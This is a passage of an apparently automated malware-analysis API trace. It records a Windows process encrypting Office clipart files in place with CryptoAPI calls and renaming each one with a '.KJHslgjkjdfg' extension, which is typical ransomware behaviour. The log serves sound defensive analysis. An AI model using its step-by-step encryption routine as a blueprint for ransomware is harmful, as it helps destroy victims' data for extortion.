dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.130] GetProcessHeap () returned 0x990000 [0182.130] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.130] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.130] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.130] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.131] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.131] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.131] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.131] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.131] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.131] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.132] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.132] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.132] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1e7c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1e7c, lpOverlapped=0x0) returned 1 [0182.133] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e80, dwBufLen=0x1e80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1e80) returned 1 [0182.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.133] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1e80, lpOverlapped=0x0) returned 1 [0182.133] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.133] SetEndOfFile (hFile=0x130) returned 1 [0182.136] GetProcessHeap () returned 0x990000 [0182.136] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.136] GetProcessHeap () returned 0x990000 [0182.136] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04267_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04267_.wmf.kjhslgjkjdfg")) returned 1 [0182.140] CloseHandle (hObject=0x130) returned 1 [0182.140] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04269_.WMF", cAlternateFileName="")) returned 1 [0182.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.144] GetProcessHeap () returned 0x990000 [0182.144] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.144] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.144] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.144] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.144] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.144] GetProcessHeap () returned 0x990000 [0182.144] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.144] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.144] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.144] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.147] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.147] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.147] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.147] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.147] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.147] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7e0, lpOverlapped=0x0) returned 1 [0182.147] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e0, dwBufLen=0x7e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7e0) returned 1 [0182.147] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.148] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7e0, lpOverlapped=0x0) returned 1 [0182.148] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.148] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.148] SetEndOfFile (hFile=0x130) returned 1 [0182.151] GetProcessHeap () returned 0x990000 [0182.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.151] GetProcessHeap () returned 0x990000 [0182.151] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04269_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04269_.wmf.kjhslgjkjdfg")) returned 1 [0182.153] CloseHandle (hObject=0x130) returned 1 [0182.153] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x9bc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04323_.WMF", cAlternateFileName="")) returned 1 [0182.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.155] GetProcessHeap () returned 0x990000 [0182.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.155] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.155] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.155] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.157] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.157] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.157] GetProcessHeap () returned 0x990000 [0182.157] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.157] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.157] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.157] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.157] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.158] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.158] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.158] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.158] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.158] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.158] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9bc, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9bc, lpOverlapped=0x0) returned 1 [0182.158] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c0, dwBufLen=0x9c0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9c0) returned 1 [0182.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.158] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9c0, lpOverlapped=0x0) returned 1 [0182.158] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.158] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.158] SetEndOfFile (hFile=0x130) returned 1 [0182.161] GetProcessHeap () returned 0x990000 [0182.161] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.161] GetProcessHeap () returned 0x990000 [0182.161] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.161] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04323_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04323_.wmf.kjhslgjkjdfg")) returned 1 [0182.163] CloseHandle (hObject=0x130) returned 1 [0182.163] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04326_.WMF", cAlternateFileName="")) returned 1 [0182.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.164] GetProcessHeap () returned 0x990000 [0182.164] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.164] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.164] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.164] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0182.166] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.166] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.166] GetProcessHeap () returned 0x990000 [0182.166] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.166] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.166] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.166] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.167] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.167] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.167] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.167] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.167] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.167] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.167] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd14, lpOverlapped=0x0) returned 1 [0182.167] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd20, dwBufLen=0xd20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd20) returned 1 [0182.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.167] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd20, lpOverlapped=0x0) returned 1 [0182.167] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.167] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xdf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.167] SetEndOfFile (hFile=0x130) returned 1 [0182.170] GetProcessHeap () returned 0x990000 [0182.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0182.170] GetProcessHeap () returned 0x990000 [0182.170] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0182.170] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04326_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04326_.wmf.kjhslgjkjdfg")) returned 1 [0182.175] CloseHandle (hObject=0x130) returned 1 [0182.175] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x513d5e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x10c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AN04332_.WMF", cAlternateFileName="")) returned 1 [0182.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0182.176] GetProcessHeap () returned 0x990000 [0182.176] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0182.176] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0182.176] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0182.177] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0182.178] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0182.178] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0182.178] GetProcessHeap () returned 0x990000 [0182.178] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0182.178] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0182.178] CryptDestroyKey (hKey=0x9b6628) returned 1 [0182.178] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0182.178] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0182.178] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0182.178] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0182.178] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0182.178] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, 